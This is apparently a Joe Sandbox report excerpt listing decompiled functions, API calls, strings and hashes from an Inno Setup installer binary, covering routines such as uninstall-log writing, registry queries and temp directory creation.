API String ID: 1693878748-0
Opcode ID: 19b3cffb79c35eecf5e51c4130a3ee25802c1987fff001932c4ce39a15a21a42
Instruction ID: 3dbf9df1a2207b610df3ad0597122edc823231e2adad812ec9c72b879bb67f73
Opcode Fuzzy Hash: 19b3cffb79c35eecf5e51c4130a3ee25802c1987fff001932c4ce39a15a21a42
Instruction Fuzzy Hash: 2D01D2616047106AE700BF6A5C86B9A77A4DF01318F00417BF904AF2C7D6BE9C04476E

Uniqueness

Uniqueness Score: -1.00%

Function 0040627C Relevance: 6.0, APIs: 4, Instructions: 11
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040627C(void* __eax, int __ecx, long __edx) {
				void* _t2;
				void* _t4;

				_t2 = GlobalHandle(__eax);
				GlobalUnWire(_t2); // executed
				_t4 = GlobalReAlloc(_t2, __edx, __ecx); // executed
				GlobalFix(_t4);
				return _t4;
			}

0x0040627f
0x00406286
0x0040628b
0x00406291
0x00406296

APIs

GlobalHandle.KERNEL32 ref: 0040627F
GlobalUnWire.KERNEL32 ref: 00406286
GlobalReAlloc.KERNEL32 ref: 0040628B
GlobalFix.KERNEL32(00000000), ref: 00406291

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Global$AllocHandleWire
String ID:
API String ID: 2210401237-0
Opcode ID: 889bbec20cac368bcc6ff395ca8b0ac0bd4d5ac0b0bff3282dff31200e64140b
Instruction ID: ac93097bb4ba1240b9e32603a5e5193d1905c962d9d436e0b1c7c2bb43652313
Opcode Fuzzy Hash: 889bbec20cac368bcc6ff395ca8b0ac0bd4d5ac0b0bff3282dff31200e64140b
Instruction Fuzzy Hash: 27B009C5A24A85B8EC0873B24C9BC3F451CE88472C784AB6E7504BA0839D7C9C012E3D

Uniqueness

Uniqueness Score: -1.00%

Function 00459228 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00459228(intOrPtr __eax, void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, signed int _a4) {
				intOrPtr _v4104;
				intOrPtr* _v4108;
				intOrPtr _v4112;
				intOrPtr _v4118;
				intOrPtr _v4122;
				char _v4124;
				intOrPtr _v4128;
				signed int _v4240;
				intOrPtr _v4244;
				intOrPtr _v4248;
				intOrPtr _v4252;
				char _v4380;
				char _v4508;
				void _v4572;
				intOrPtr _v4576;
				intOrPtr _v4580;
				intOrPtr _t96;
				intOrPtr _t121;
				intOrPtr _t129;
				signed char _t131;
				intOrPtr _t165;
				intOrPtr _t179;
				void* _t183;
				void* _t184;
				intOrPtr _t186;

				_t173 = __edi;
				_t183 = _t184;
				_push(__eax);
				_t186 = _t184 + 0xffffffffffffee24;
				_push(__edi);
				_t131 = __ecx;
				_v4112 = __eax;
				_v4104 = 0;
				if((__ecx ^ 0x00000001) == 0) {
					_v4108 = E0044F788(1, 0, 2, 2);
				} else {
					_t129 = E0044F788(1, 0, 2, 0); // executed
					_v4108 = _t129;
				}
				_push(_t183);
				_push(0x4594a0);
				_push( *[fs:edx]);
				 *[fs:edx] = _t186;
				if((_t131 ^ 0x00000001) == 0) {
					_t137 = 0x1c0;
					E0044F724(_v4108, 0x1c0,  &_v4572);
					E0044F74C(_v4108, _v4244);
					E0044F988(_v4108);
				} else {
					E00402934( &_v4572, 0x1c0);
					_t137 = 0x1c0;
					 *((intOrPtr*)( *_v4108 + 0x10))();
				}
				_t179 =  *((intOrPtr*)(_v4112 + 4));
				while(_t179 != 0) {
					_v4124 =  *((intOrPtr*)(_t179 + 0x10));
					_v4122 =  *((intOrPtr*)(_t179 + 8));
					_v4118 =  *((intOrPtr*)(_t179 + 0xc));
					E004591B0( &_v4124, 0xa, _t183);
					E004591B0(_t179 + 0x12,  *((intOrPtr*)(_t179 + 0xc)), _t183);
					_pop(_t137);
					_t121 = _v4248;
					if(_t121 < 0) {
						L9:
						E00451710("NumRecs range exceeded", _t131, _t173, _t179, _t192);
					} else {
						_t192 = _t121 - 0x7fffffff;
						if(_t121 >= 0x7fffffff) {
							goto L9;
						}
					}
					_v4248 = _v4248 + 1;
					_t179 =  *((intOrPtr*)(_t179 + 4));
				}
				E0045912C(_t137, _t183); // executed
				 *((intOrPtr*)( *_v4108))();
				_t194 = _v4576;
				if(_v4576 != 0) {
					E00451710("EndOffset range exceeded", _t131, _t173, _t179, _t194);
				}
				 *((intOrPtr*)( *_v4108))();
				_v4244 = _v4580;
				E0044F74C(_v4108, 0);
				memcpy( &_v4572, (( *(_v4112 + 0x10) & 0x000000ff) << 3) * 8 + "Inno Setup Uninstall Log (b)", 0x10 << 2);
				E00407368( &_v4508, 0x7f,  *((intOrPtr*)(_v4112 + 0x14)));
				if((_t131 ^ 0x00000001 | _a4) != 0) {
					E00407368( &_v4380, 0x7f,  *((intOrPtr*)(_v4112 + 0x18)));
				}
				_t96 =  *((intOrPtr*)(_v4112 + 0x20));
				if(_t96 > _v4252) {
					_v4252 = _t96;
				}
				_v4240 = _v4240 |  *(_v4112 + 0x1d);
				_v4128 = E0044FEB4( &_v4572, 0x1bc);
				FlushFileBuffers( *(_v4108 + 4));
				 *((intOrPtr*)( *_v4108 + 0x10))();
				_pop(_t165);
				 *[fs:eax] = _t165;
				_push(0x4594a7);
				return E00402B70(_v4108);
			}

0x00459228
0x00459229
0x00459231
0x00459232
0x0045923a
0x0045923b
0x0045923f
0x00459247
0x00459253
0x00459285
0x00459255
0x00459264
0x00459269
0x00459269
0x0045928d
0x0045928e
0x00459293
0x00459296
0x0045929f
0x004592d1
0x004592dc
0x004592ed
0x004592f8
0x004592a1
0x004592ae
0x004592b9
0x004592c6
0x004592c6
0x00459303
0x00459308
0x0045930e
0x00459318
0x00459321
0x00459333
0x00459340
0x00459345
0x00459346
0x0045934e
0x00459357
0x0045935c
0x00459350
0x00459350
0x00459355
0x00000000
0x00000000
0x00459355
0x00459361
0x00459367
0x0045936a
0x0045936f
0x00459383
0x00459385
0x0045938c
0x00459393
0x00459393
0x004593a6
0x004593ae
0x004593bc
0x004593e0
0x004593f6
0x00459401
0x00459417
0x00459417
0x00459422
0x0045942b
0x0045942d
0x0045942d
0x0045944a
0x0045945c
0x0045946c
0x00459484
0x00459489
0x0045948c
0x0045948f
0x0045949f

APIs

Part of subcall function 0044F988: SetEndOfFile.KERNEL32(?,?,004592FD,00000000,004594A0,?,00000000,00000002,00000002), ref: 0044F98F

FlushFileBuffers.KERNEL32(?), ref: 0045946C

Strings

EndOffset range exceeded, xrefs: 0045938E
NumRecs range exceeded, xrefs: 00459357

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: File$BuffersFlush
String ID: EndOffset range exceeded$NumRecs range exceeded
API String ID: 3593489403-659731555
Opcode ID: 36df7b3bcd0f508a66363ece53254c8fe961239709727d497d05f77123da1091
Instruction ID: 24e980760699f03bd67425b4d674c5f46978abf03db993012867d9b330479edc
Opcode Fuzzy Hash: 36df7b3bcd0f508a66363ece53254c8fe961239709727d497d05f77123da1091
Instruction Fuzzy Hash: 67617034A00258CBDB25DF25C841AD9B3B5FB49305F0085EAED48A7392D778AEC9CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0048DCA0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 74%

			_entry_(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t31;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr _t40;
				intOrPtr _t45;
				intOrPtr _t51;
				intOrPtr _t58;
				void* _t61;
				void* _t62;
				void* _t64;
				void* _t72;
				intOrPtr _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				intOrPtr _t79;
				void* _t80;
				void* _t81;
				intOrPtr _t83;

				_t84 = __eflags;
				_t72 = __edx;
				_t62 = __ecx;
				E0040335C();
				E004056B8(_t61, _t80, _t81, __eflags); // executed
				E004098E4(_t61, _t62, _t72, _t80, _t81, _t84); // executed
				E00409B58();
				E00410938();
				E004109B0();
				E0041290C(_t61, _t80, _t81, _t84);
				E00424F24(E00419024(_t80));
				E0042EDAC();
				E00430090(_t62);
				E0044EB7C();
				E00450740(_t61, _t80, _t81); // executed
				E004515BC(_t61, _t62, _t80, _t81); // executed
				E00454900(_t80, _t81, _t84);
				E004555D4();
				E00456D70(_t61, _t80, _t81);
				E0045F050();
				E00466AB8(); // executed
				E0047A6CC(_t61, _t80, _t81, _t84); // executed
				E0048ADC8();
				_push( *[fs:eax]);
				 *[fs:eax] = _t83;
				SetErrorMode(1); // executed
				E0048DAB0();
				_t31 =  *0x48f628; // 0x22f2410
				E004244B8(_t31, _t80, _t81, E0048DAA0, 0x48da94); // executed
				E0048DAF8(_t61, _t72, _t80, _t81, _t84); // executed
				_pop(_t73);
				_t64 = 0x48dd50;
				 *[fs:eax] = _t73;
				_t35 =  *0x48f628; // 0x22f2410
				E004242A8(_t35, 0x48dec4, _t80);
				_t37 =  *0x48f628; // 0x22f2410
				ShowWindow( *(_t37 + 0x20), 5);
				_t40 =  *0x48f628; // 0x22f2410
				 *((intOrPtr*)(_t40 + 0x90)) = 0x47077c;
				 *((intOrPtr*)(_t40 + 0x8c)) = E00478FA0;
				_push(_t82);
				_push(0x48ddf7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t83;
				E0042458C(); // executed
				E00476B70(_t61, _t64, 0x47077c, _t80, _t81, _t84); // executed
				_t45 =  *0x48f628; // 0x22f2410, executed
				E0042459C(_t45, 0x48ff68, 0x47077c);
				E00479114(_t84, __fp0); // executed
				_pop(_t77);
				 *[fs:eax] = _t77;
				_push(_t82);
				_push(0x48de60);
				_push( *[fs:eax]);
				 *[fs:eax] = _t83;
				_t51 =  *0x48f628; // 0x22f2410
				E0042462C(_t51, _t80, _t81);
				_pop(_t78);
				 *[fs:eax] = _t78;
				_push(_t82);
				_push(0x48de96);
				_push( *[fs:eax]);
				 *[fs:eax] = _t83;
				E00478408(0 |  *0x490274 == 0x00000000, _t61, _t80, _t81,  *0x490274, __fp0);
				_pop(_t79);
				 *[fs:eax] = _t79;
				_t58 =  *0x490274; // 0x0
				E00404E70(_t58);
				return E00404E6C();
			}

0x0048dca0
0x0048dca0
0x0048dca0
0x0048dca9
0x0048dcae
0x0048dcb3
0x0048dcb8
0x0048dcbd
0x0048dcc2
0x0048dcc7
0x0048dcd1
0x0048dcd6
0x0048dcdb
0x0048dce0
0x0048dce5
0x0048dcea
0x0048dcef
0x0048dcf4
0x0048dcf9
0x0048dcfe
0x0048dd03
0x0048dd08
0x0048dd0d
0x0048dd1a
0x0048dd1d
0x0048dd22
0x0048dd27
0x0048dd37
0x0048dd3c
0x0048dd41
0x0048dd48
0x0048dd4a
0x0048dd4b
0x0048dd7e
0x0048dd83
0x0048dd8a
0x0048dd93
0x0048dd98
0x0048dda2
0x0048dda8
0x0048ddb4
0x0048ddb5
0x0048ddba
0x0048ddbd
0x0048ddc5
0x0048ddca
0x0048ddd9
0x0048ddde
0x0048dde8
0x0048ddef
0x0048ddf2
0x0048de40
0x0048de41
0x0048de46
0x0048de49
0x0048de4c
0x0048de51
0x0048de58
0x0048de5b
0x0048de71
0x0048de72
0x0048de77
0x0048de7a
0x0048de87
0x0048de8e
0x0048de91
0x0048dea5
0x0048deaa
0x0048deba

APIs

Part of subcall function 0040335C: GetModuleHandleA.KERNEL32(00000000,0048DCAE), ref: 00403363
Part of subcall function 0040335C: GetCommandLineA.KERNEL32(00000000,0048DCAE), ref: 0040336E

Part of subcall function 00409B58: 7026DB20.COMCTL32(0048DCBD), ref: 00409B5D

Part of subcall function 00410938: GetCurrentThreadId.KERNEL32 ref: 00410986

Part of subcall function 00419024: GetVersion.KERNEL32(0048DCD1), ref: 00419024

Part of subcall function 0044EB7C: GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,0048DCE5), ref: 0044EBB7
Part of subcall function 0044EB7C: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044EBBD

Part of subcall function 004515BC: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451655,?,?,?,?,00000000,?,0048DCEF), ref: 004515DC
Part of subcall function 004515BC: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004515E2
Part of subcall function 004515BC: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451655,?,?,?,?,00000000,?,0048DCEF), ref: 004515F6
Part of subcall function 004515BC: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004515FC

Part of subcall function 0045F050: LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,0048DD03), ref: 0045F05F
Part of subcall function 0045F050: GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 0045F065

Part of subcall function 00466AB8: GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 00466ACD

Part of subcall function 0048ADC8: RegisterClipboardFormatA.USER32 ref: 0048ADCD

SetErrorMode.KERNEL32(00000001,00000000,0048DD50), ref: 0048DD22

Part of subcall function 0048DAB0: GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,0048DD2C,00000001,00000000,0048DD50), ref: 0048DABA
Part of subcall function 0048DAB0: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0048DAC0

Part of subcall function 004244B8: SendMessageA.USER32(?,0000B020,00000000,?), ref: 004244D7

Part of subcall function 004242A8: SetWindowTextA.USER32(?,00000000), ref: 004242C0

ShowWindow.USER32(?,00000005,00000000,0048DD50), ref: 0048DD93

Part of subcall function 00479114: SetActiveWindow.USER32(?), ref: 004791AE

Strings

Setup, xrefs: 0048DD79

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressProc$HandleModule$Window$7026ActiveClipboardCommandCurrentErrorFormatLibraryLineLoadMessageModeRegisterSendShowTextThreadVersion
String ID: Setup
API String ID: 3693707732-3839654196
Opcode ID: e38c6c853e4c71a6fc7fc7436bf2bbd490f08af3f28628d4fbff65a4c23baddb
Instruction ID: 99c45310959900e19b40b1da60452347f995955d81cd4fb65cbe961703ffe03f
Opcode Fuzzy Hash: e38c6c853e4c71a6fc7fc7436bf2bbd490f08af3f28628d4fbff65a4c23baddb
Instruction Fuzzy Hash: 9831D7712056009ED305BBB7EC1396D37A8DB89728B61487FF804965A3DE3C5855CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 0042DA18 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0042DA18(void* __eax, void* __ebx, intOrPtr __ecx, char* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				int _v12;
				int _v16;
				char _v20;
				long _t48;
				long _t59;
				char _t67;
				intOrPtr _t82;
				int _t87;
				char* _t89;
				void* _t91;
				void* _t94;

				_v20 = 0;
				_v8 = __ecx;
				_t89 = __edx;
				_t91 = __eax;
				_push(_t94);
				_push(0x42db39);
				_push( *[fs:eax]);
				 *[fs:eax] = _t94 + 0xfffffff0;
				while(1) {
					_v16 = 0;
					_t48 = RegQueryValueExA(_t91, _t89, 0,  &_v12, 0,  &_v16); // executed
					if(_t48 != 0 || _v12 != _a8 && _v12 != _a4) {
						break;
					}
					if(_v16 != 0) {
						E004034F8( &_v20, _v16, 0, __eflags);
						_t59 = RegQueryValueExA(_t91, _t89, 0,  &_v12, E0040375C( &_v20),  &_v16); // executed
						__eflags = _t59 - 0xea;
						if(__eflags == 0) {
							continue;
						}
						__eflags = _t59;
						if(_t59 != 0) {
							break;
						}
						__eflags = _v12 - _a8;
						if(_v12 == _a8) {
							while(1) {
								L12:
								__eflags = _v16;
								if(_v16 == 0) {
									break;
								}
								_t67 = _v20;
								_t87 = _v16;
								__eflags =  *((char*)(_t67 + _t87 - 1));
								if( *((char*)(_t67 + _t87 - 1)) == 0) {
									_t21 =  &_v16;
									 *_t21 = _v16 - 1;
									__eflags =  *_t21;
									continue;
								}
								break;
							}
							__eflags = _v12 - 7;
							if(_v12 == 7) {
								__eflags = _v16;
								if(_v16 != 0) {
									_t30 =  &_v16;
									 *_t30 = _v16 + 1;
									__eflags =  *_t30;
								}
							}
							E004038BC( &_v20, _v16);
							__eflags = _v12 - 7;
							if(_v12 == 7) {
								__eflags = _v16;
								if(_v16 != 0) {
									(E0040375C( &_v20))[_v16 - 1] = 0;
								}
							}
							E00403468(_v8, 0, _v20, _t89, _t91);
							break;
						}
						__eflags = _v12 - _a4;
						if(_v12 != _a4) {
							break;
						}
						goto L12;
					} else {
						E00403418(_v8);
						break;
					}
				}
				_pop(_t82);
				 *[fs:eax] = _t82;
				_push(E0042DB40);
				return E00403418( &_v20);
			}

0x0042da23
0x0042da26
0x0042da29
0x0042da2b
0x0042da2f
0x0042da30
0x0042da35
0x0042da38
0x0042da3d
0x0042da3f
0x0042da50
0x0042da57
0x00000000
0x00000000
0x0042da75
0x0042da8e
0x0042daa8
0x0042daad
0x0042dab2
0x00000000
0x00000000
0x0042dab4
0x0042dab6
0x00000000
0x00000000
0x0042dabb
0x0042dabe
0x0042dacd
0x0042dacd
0x0042dacd
0x0042dad1
0x00000000
0x00000000
0x0042dad3
0x0042dad6
0x0042dad9
0x0042dade
0x0042daca
0x0042daca
0x0042daca
0x00000000
0x0042daca
0x00000000
0x0042dade
0x0042dae0
0x0042dae4
0x0042dae6
0x0042daea
0x0042daec
0x0042daec
0x0042daec
0x0042daec
0x0042daea
0x0042daf5
0x0042dafa
0x0042dafe
0x0042db00
0x0042db04
0x0042db11
0x0042db11
0x0042db04
0x0042db1c
0x00000000
0x0042db21
0x0042dac3
0x0042dac6
0x00000000
0x00000000
0x00000000
0x0042da77
0x0042da7a
0x00000000
0x0042da7f
0x0042da75
0x0042db25
0x0042db28
0x0042db2b
0x0042db38

APIs

RegQueryValueExA.ADVAPI32(?,ProductType,00000000,?,00000000,?,00000000,0042DB39), ref: 0042DA50
RegQueryValueExA.ADVAPI32(?,ProductType,00000000,?,00000000,00000000,?,ProductType,00000000,?,00000000,?,00000000,0042DB39), ref: 0042DAA8

Strings

ProductType, xrefs: 0042DA4E, 0042DAA6

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: QueryValue
String ID: ProductType
API String ID: 3660427363-120863269
Opcode ID: 5515ace25f4e244fced323990dfe6545e7ac35029be00f6e6e157eda9b4f84d1
Instruction ID: aa1ea57d9c55ade47253787ac109cea625fab700954374de719742b7b57069bc
Opcode Fuzzy Hash: 5515ace25f4e244fced323990dfe6545e7ac35029be00f6e6e157eda9b4f84d1
Instruction Fuzzy Hash: 6F413D71E04119AFDB11DF95D885FEFBBB8EB45304F9184BAE410A7280D738AE44CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00451D94 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00451D94(void* __eax, long __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				int _t30;
				intOrPtr _t62;
				void* _t72;
				intOrPtr _t75;

				_t70 = __edi;
				_t53 = __ebx;
				_t54 = 0;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_push(__edi);
				_t72 = __eax;
				_push(_t75);
				_push(0x451e83);
				_push( *[fs:eax]);
				 *[fs:eax] = _t75;
				while(1) {
					E0042D830( &_v12, _t53, _t54, _t70, _t72); // executed
					_t54 = 0x451e9c;
					E00451B20(0, _t53, 0x451e9c, _v12, _t70, _t72,  &_v8); // executed
					_t30 = CreateDirectoryA(E00403750(_v8), 0); // executed
					if(_t30 != 0) {
						break;
					}
					_t53 = GetLastError();
					if(_t38 != 0xb7) {
						E004503A4(0x2f,  &_v28, _v8);
						_v24 = _v28;
						E00406D00(_t53,  &_v32);
						_v20 = _v32;
						E0042E638(_t53,  &_v36);
						_v16 = _v36;
						E00450374(0x60, 2,  &_v24,  &_v12);
						_t54 = _v12;
						E00408BA4(_v12, 1);
						E00403134();
					}
				}
				E004034AC(_t72, _v8);
				_pop(_t62);
				 *[fs:eax] = _t62;
				_push(E00451E8A);
				E00403438( &_v36, 3);
				return E00403438( &_v12, 2);
			}

0x00451d94
0x00451d94
0x00451d97
0x00451d99
0x00451d9a
0x00451d9b
0x00451d9c
0x00451d9d
0x00451d9e
0x00451d9f
0x00451da0
0x00451da1
0x00451da3
0x00451da4
0x00451da8
0x00451da9
0x00451dae
0x00451db1
0x00451db4
0x00451dbb
0x00451dc3
0x00451dca
0x00451dda
0x00451de1
0x00000000
0x00000000
0x00451de8
0x00451df0
0x00451dfe
0x00451e06
0x00451e0e
0x00451e16
0x00451e1e
0x00451e26
0x00451e33
0x00451e38
0x00451e42
0x00451e47
0x00451e47
0x00451df0
0x00451e56
0x00451e5d
0x00451e60
0x00451e63
0x00451e70
0x00451e82

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00451E83,?,?,00000000,0048F628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00451DDA
GetLastError.KERNEL32(00000000,00000000,?,00000000,00451E83,?,?,00000000,0048F628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00451DE3

Strings

.tmp, xrefs: 00451DC3

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 49c209f0e357a9d95e43985966e384652825ef093c958fe770f8bb2751c777d6
Instruction ID: 6e9789a85f1cf8d92ab4faafeaa9fc3a81a95af4c8f57c642e2c8bce0ada5150
Opcode Fuzzy Hash: 49c209f0e357a9d95e43985966e384652825ef093c958fe770f8bb2751c777d6
Instruction Fuzzy Hash: 92210675A002089BDB05EFA1C852ADEB7B9EB48305F50457BEC01B7352DB7CAE058A65

Uniqueness

Uniqueness Score: -1.00%

Function 0041EE88 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0041EE88(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _t16;
				intOrPtr _t23;
				char _t24;
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t30;
				void* _t31;
				intOrPtr _t32;

				_t30 = _t31;
				_t32 = _t31 + 0xfffffff4;
				_v8 = 0;
				_t23 =  *0x48e580; // 0x0
				_v12 = _t23;
				_t24 =  *0x48e58c; // 0x0
				_v16 = _t24;
				 *0x48e580 = __eax;
				 *0x48e58c = 0;
				_push(_t30);
				_push(0x41ef2b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32;
				_push(_t30);
				_push(0x41eef4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32;
				_push(0);
				_push(E0041EE38);
				_push(GetCurrentThreadId()); // executed
				L00405EAC(); // executed
				_v8 =  *0x48e58c;
				_pop(_t25);
				 *[fs:eax] = _t25;
				_pop(_t26);
				 *[fs:eax] = _t26;
				_push(E0041EF32);
				_t5 =  &_v16; // 0x455e42
				 *0x48e58c =  *_t5;
				_t16 = _v12;
				 *0x48e580 = _t16;
				return _t16;
			}

0x0041ee89
0x0041ee8b
0x0041ee93
0x0041ee96
0x0041ee9c
0x0041ee9f
0x0041eea5
0x0041eea8
0x0041eeaf
0x0041eeb6
0x0041eeb7
0x0041eebc
0x0041eebf
0x0041eec4
0x0041eec5
0x0041eeca
0x0041eecd
0x0041eed0
0x0041eed2
0x0041eedc
0x0041eedd
0x0041eee7
0x0041eeec
0x0041eeef
0x0041ef0f
0x0041ef12
0x0041ef15
0x0041ef1a
0x0041ef1d
0x0041ef22
0x0041ef25
0x0041ef2a

APIs

GetCurrentThreadId.KERNEL32 ref: 0041EED7
73AFAC10.USER32(00000000,0041EE38,00000000,00000000,0041EEF4,?,00000000,0041EF2B,?,0042E6D8,?,00000001), ref: 0041EEDD

Strings

B^E, xrefs: 0041EF1A

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CurrentThread
String ID: B^E
API String ID: 2882836952-2932950393
Opcode ID: 4b3049e1105a07ac561ea121785497a91acaa782c4bb21d2a90abad1c946949a
Instruction ID: d22defc84752bb1f375c9b34ca853fcdc4d69c025aabcd89a3851a432f640f9b
Opcode Fuzzy Hash: 4b3049e1105a07ac561ea121785497a91acaa782c4bb21d2a90abad1c946949a
Instruction Fuzzy Hash: 8F013975A04704BFE701CFA7DC2194ABBE9E789714B218C7AEC04D36A0F6345812AE19

Uniqueness

Uniqueness Score: -1.00%

Function 00473A74 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00473A74() {
				void* _v8;
				void* __ecx;
				void* _t11;
				long _t17;
				void* _t18;

				if( *0x490230 == 0) {
					_t18 = 0;
				} else {
					_t18 = 2;
				}
				_t11 = E0042DC1C(_t18,  *0x0048EBEC, 0x80000002,  &_v8, 1, 0); // executed
				if(_t11 == 0) {
					E0042DB4C();
					E0042DB4C();
					_t17 = RegCloseKey(_v8); // executed
					return _t17;
				}
				return _t11;
			}

0x00473a80
0x00473a86
0x00473a82
0x00473a82
0x00473a82
0x00473aa5
0x00473aac
0x00473abb
0x00473acd
0x00473ad6
0x00000000
0x00473ad6
0x00473ade

APIs

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,00473CFA,00000000,00473D10,?,?,?,?,00000000), ref: 00473AD6

Strings

RegisteredOrganization, xrefs: 00473AC5
RegisteredOwner, xrefs: 00473AB3

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Close
String ID: RegisteredOrganization$RegisteredOwner
API String ID: 3535843008-1113070880
Opcode ID: 06584f189311496c8cbcd52cd6f8d40f219c08a135042a9405816537cac3848e
Instruction ID: 2b56327a1c1e2526204933d5438d5e873fb9ea21772219b29d03903063c3f607
Opcode Fuzzy Hash: 06584f189311496c8cbcd52cd6f8d40f219c08a135042a9405816537cac3848e
